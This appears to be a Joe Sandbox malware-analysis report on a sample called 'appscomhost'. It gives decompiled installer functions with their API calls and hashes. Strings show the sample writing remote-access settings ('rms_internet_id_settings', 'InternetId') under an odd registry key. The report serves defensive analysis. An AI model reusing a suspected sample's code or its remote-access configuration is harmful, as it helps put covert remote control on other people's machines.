0x00406700
0x00406702
0x0040670b
0x0040670f
0x0040672c
0x00406734
0x00406734
0x00406739
0x0040673b
0x0040673e
0x00406743
0x00406744
0x00406748
0x00406748
0x00406749
0x00406750
0x00406752
0x00406759
0x00000000
0x00000000
0x00406761
0x00406767
0x00000000
0x00000000
0x00000000
0x00406767
0x0040676c

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,74B5FAA0,004E0000,004CC000,004034A0,004E0000,004E0000,0040370F,?,00000007,00000009,0000000B), ref: 00406723
CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406732
CharNextW.USER32(?,00000000,74B5FAA0,004E0000,004CC000,004034A0,004E0000,004E0000,0040370F,?,00000007,00000009,0000000B), ref: 00406737
CharPrevW.USER32(?,?,74B5FAA0,004E0000,004CC000,004034A0,004E0000,004E0000,0040370F,?,00000007,00000009,0000000B), ref: 0040674A

Strings

*?|<>/":, xrefs: 00406712

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
Instruction ID: 9627fccf098e727a5900f08bdddf05a21b4f43d755832024a56349c67539c63f
Opcode Fuzzy Hash: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
Instruction Fuzzy Hash: F2110D1580061295DB303B548C84A7B62F8EF5879CF52843FED96732C0E77D8C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 10002964, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002964(intOrPtr _a4, void* _a8, short* _a12, unsigned int _a16, DWORD* _a20, struct _OVERLAPPED* _a24) {

				if(_a4 == 0) {
					return WriteFile(_a8, 0x10007760, WideCharToMultiByte(0, 0, _a12, _a16 >> 1, 0x10007760, 0x20000, 0, 0), _a20, _a24);
				} else {
					return WriteFile(_a8, _a12, _a16, _a20, _a24);
				}
			}

0x1000296c
0x100029b7
0x1000296e
0x10002984
0x10002984

APIs

WriteFile.KERNEL32(00000000,?,000000FF,?,10004EF9,?,10004EF9,?,000000FF,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,?,00000000), ref: 1000297D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,REG_BINARY,00020000,00000000,00000000,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,?,10004EF9,?,000000FF,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,?), ref: 1000299E
WriteFile.KERNEL32(00000000,REG_BINARY,00000000,?,10004EF9,?,10004EF9,?,000000FF,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,?,00000000), ref: 100029AF

Strings

SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 10002988
REG_BINARY, xrefs: 10002990, 10002995, 100029AB

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: FileWrite$ByteCharMultiWide
String ID: REG_BINARY$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 288293550-2221673822
Opcode ID: aae883a320d99f53fe983dc8287af01575469b74bc31c1813b52a1f6c8cb6a90
Instruction ID: 57ac43b0a0119a90836e9a2894bcbb0978c006eb4cb8721f5ff92849ec4290ec
Opcode Fuzzy Hash: aae883a320d99f53fe983dc8287af01575469b74bc31c1813b52a1f6c8cb6a90
Instruction Fuzzy Hash: 2DF0D47244012ABFEF019FA0EC49DEB3F6EFF08290B144114FA1985024C7329831EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00402E41, Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402E41(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E0040627E(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402E41(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E00406806(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402e4c
0x00402e55
0x00402e5e
0x00402e6a
0x00402e73
0x00402e7d
0x00402ea2
0x00402ea8
0x00402ead
0x00402eae
0x00402ede
0x00402eb7
0x00402eb9
0x00402f09
0x00402f0c
0x00000000
0x00402f12
0x00402ec8
0x00402ecd
0x00402ecf
0x00000000
0x00000000
0x00402ed7
0x00402edc
0x00402edd
0x00402edd
0x00402eea
0x00402ef2
0x00402ef9
0x00000000
0x00402f22
0x00000000
0x00402f01
0x00402e8d
0x00402ea0
0x00000000
0x00000000
0x00000000
0x00402ea0
0x00402f28

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402E95
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402EE1
RegCloseKey.ADVAPI32(?,?,?), ref: 00402EEA
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F01
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F0C

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 0ef7066dde05a2ca5f9e50454b412eec226e379908bdbcc4328f96335d0522a1
Instruction ID: 81522b48e592499502658fb4677f1b0f70c545d6b701466da39e5ccb8a756ba0
Opcode Fuzzy Hash: 0ef7066dde05a2ca5f9e50454b412eec226e379908bdbcc4328f96335d0522a1
Instruction Fuzzy Hash: 0F215A72500109BBEF129F90CE89EEF7A7DEB54344F110076B945B11A0E7B48E54AAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81, Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D1C(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402D3E(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x47af00,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E00406358();
				}
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402b08
0x00402b08
0x00402bc5
0x00402bd1

APIs

GetDlgItem.USER32 ref: 00401D9A
GetClientRect.USER32 ref: 00401DE5
LoadImageW.USER32 ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f79766417ae4612cb5c6c34f8da81811abdf96e4f493f0c5887e8a9b902d68e8
Instruction ID: bfac20dae67237f5cfff6aa35e180204e42a8a7c4e00f35ccd5a2105b107483e
Opcode Fuzzy Hash: f79766417ae4612cb5c6c34f8da81811abdf96e4f493f0c5887e8a9b902d68e8
Instruction Fuzzy Hash: 1121F672900119AFCB05DFA4DE45AEEBBB5EF08304F14003AFA45F62A0C7789D91DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E, Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D1C(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x41e5f0->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x41e600 = E00402D1C(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x41e607 = 1;
				 *0x41e604 = _t15 & 0x00000001;
				 *0x41e605 = _t15 & 0x00000002;
				 *0x41e606 = _t15 & 0x00000004;
				E0040644E(_t9, _t31, _t33, 0x41e60c,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x41e5f0);
				_push(_t18);
				_push(_t31);
				E00406358();
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402630
0x0040156d
0x00402b08
0x00402bc5
0x00402bd1

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32 ref: 00401E84
CreateFontIndirectW.GDI32(0041E5F0), ref: 00401ED3

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f826a9fbbc9241797c80e42d9ddf43b36d2da6d6da2d190302fe41c3a8832b13
Instruction ID: 95dfa22579f0577a7821ced4f6e3cbaf28bf1fc432987ddf0e3ea979120faf98
Opcode Fuzzy Hash: f826a9fbbc9241797c80e42d9ddf43b36d2da6d6da2d190302fe41c3a8832b13
Instruction Fuzzy Hash: 1A01D875904260AFE7005BB1AE0EBDA3FB0BB25304F54C83AF941B71E2C7B904048B2D

Uniqueness

Uniqueness Score: -1.00%

Function 10002C08, Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 35
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002C08(char* _a4) {
				void* _t5;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t15;
				intOrPtr* _t17;

				if( *0x10007288 != 0) {
					if( *0x10007008 == 0) {
						_t17 = GlobalAlloc(0x40, 0x408);
						_t4 = _t17 + 4; // 0x4
						E1000193F(_t15, _t4, _a4, 0x400);
					} else {
						_t17 = GlobalAlloc(0x40, 0x808);
						_t1 = _t17 + 4; // 0x4
						MultiByteToWideChar(0, 0, _a4, 0xffffffff, _t1, 0x400);
					}
					_t9 =  *0x10007288; // 0x41e650
					 *_t17 =  *_t9;
					_t11 =  *0x10007288; // 0x41e650
					 *_t11 = _t17;
					return _t11;
				}
				return _t5;
			}

0x10002c0f
0x10002c19
0x10002c5b
0x10002c5d
0x10002c61
0x10002c1b
0x10002c2d
0x10002c2f
0x10002c3d
0x10002c3d
0x10002c69
0x10002c70
0x10002c72
0x10002c77
0x00000000
0x10002c79
0x10002c7a

APIs

GlobalAlloc.KERNEL32(00000040,00000808,REG_BINARY,10002FDA,REG_BINARY,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,REG_BINARY,00000400,00000001,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002C22
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000004,00000400), ref: 10002C3D
GlobalAlloc.KERNEL32(00000040,00000408,REG_BINARY,10002FDA,REG_BINARY,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,REG_BINARY,00000400,00000001,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002C4C

Strings

PA, xrefs: 10002C08, 10002C69, 10002C72
REG_BINARY, xrefs: 10002C18

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: AllocGlobal$ByteCharMultiWide
String ID: PA$REG_BINARY
API String ID: 2030156529-665159791
Opcode ID: 9ba7816f0905f7030245ccdfafec85fe055ecf30b2794630c4898116e18c86e6
Instruction ID: f6eb400b8e10d4381344538113f595ce5c5eebdd765b5859096f662afcad7d3e
Opcode Fuzzy Hash: 9ba7816f0905f7030245ccdfafec85fe055ecf30b2794630c4898116e18c86e6
Instruction Fuzzy Hash: 2EF06275584320EFF391CB50CD85F4633E0F708B91F204214F799AA2E8DA7468448F55

Uniqueness

Uniqueness Score: -1.00%

Function 100031B1, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100031B1(void* __edi, WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, long _a16, WCHAR* _a20, LPWSTR* _a24) {
				CHAR* _v8;
				CHAR* _v12;
				CHAR* _v16;
				char _v276;
				intOrPtr _t23;
				CHAR* _t27;
				CHAR* _t29;
				WCHAR* _t37;
				LPWSTR* _t45;
				WCHAR* _t47;
				signed int _t50;
				void* _t52;
				void* _t53;

				_t23 =  *0x10007000; // 0x0
				if(_t23 != 1) {
					if(_t23 != 0) {
						E100022B7();
						return 0;
					} else {
						return SearchPathW(_a4, _a8, _a12, _a16, _a20, _a24);
					}
				} else {
					_t27 = E10002F8E(_a4);
					_t41 = _t27;
					_v8 = E10002F8E(_a8);
					_t29 = E10002F8E(_a12);
					_t53 = _t52 + 0xc;
					_v12 = _t29;
					_t50 = SearchPathA(_t27, _v8, _t29, 0x104,  &_v276,  &_v16);
					if(_t50 != 0) {
						_t47 = _a20;
						_t50 = E1000237C( &_v276, 0xffffffff, _t47, _a16);
						_t53 = _t53 + 0x10;
						if(_t50 != 0) {
							_t50 = _t50 - 1;
						}
						_t45 = _a24;
						if(_t45 != 0) {
							_t37 =  &(_t47[_t50]);
							while(_t37 >= _t47) {
								if( *_t37 != 0x5c) {
									_t37 = _t37;
									continue;
								}
								break;
							}
							 *_t45 =  &(_t37[1]);
						}
					}
					E10002335(_t41);
					E10002335(_v8);
					E10002335(_v12);
					return _t50;
				}
			}

0x100031ba
0x100031c2
0x1000326d
0x10003289
0x10003291
0x1000326f
0x10003288
0x10003288
0x100031c8
0x100031cd
0x100031d5
0x100031df
0x100031e2
0x100031e7
0x100031fe
0x10003208
0x1000320c
0x10003212
0x10003224
0x10003226
0x1000322b
0x1000322d
0x1000322d
0x1000322e
0x10003233
0x10003235
0x10003242
0x1000323e
0x10003241
0x00000000
0x10003241
0x00000000
0x1000323e
0x10003249
0x10003249
0x1000324b
0x1000324d
0x10003255
0x1000325d
0x1000326a
0x1000326a

APIs

SearchPathA.KERNEL32(00000000,00000000,00000000,00000104,?,00010000,?,00000000,REG_BINARY), ref: 10003202

Part of subcall function 1000237C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,000000FF,?,00000000,?,10003224,?,000000FF,00000000,?,InternetId,?,00000000), ref: 10002396

SearchPathW.KERNEL32(?,00010000,00000000,?,00000000,10003818), ref: 10003281

Strings

InternetId, xrefs: 1000320E
REG_BINARY, xrefs: 100031C8

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: PathSearch$ByteCharMultiWide
String ID: InternetId$REG_BINARY
API String ID: 920241381-4284851187
Opcode ID: 27675c240e6f9564e6327c227cd004533aa0a95c8e4853104729319132863ccc
Instruction ID: 8fc82849368d7217e6239efb2a1568746849bcd7c8bfee583c703a93086b1f46
Opcode Fuzzy Hash: 27675c240e6f9564e6327c227cd004533aa0a95c8e4853104729319132863ccc
Instruction Fuzzy Hash: DA21627690011ABBEF02DFA4CC469DF7BB9FF082D0F004564FD11A6158E775DA509B90

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D1C(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D1C(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402D3E(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402D3E(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402D3E();
					_t32 = E00402D3E();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D1C();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D1C(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E00406358();
				}
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402b08
0x00402b08
0x00402bc5
0x00402bd1

APIs

SendMessageTimeoutW.USER32 ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5f1149b18237ea70d72e3f029808d0c479a2b5422f09783e01578168822b25a8
Instruction ID: f60503fce254fb3aa6084e7259058b421eb8472ef6acbd4a1c68bdcf5bb0769c
Opcode Fuzzy Hash: 5f1149b18237ea70d72e3f029808d0c479a2b5422f09783e01578168822b25a8
Instruction Fuzzy Hash: 8721AD7195420AAEEF05AFB4D94AAEE7BB0EF44304F10453EF605B61D1D7B84981CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404C14, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404C14(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
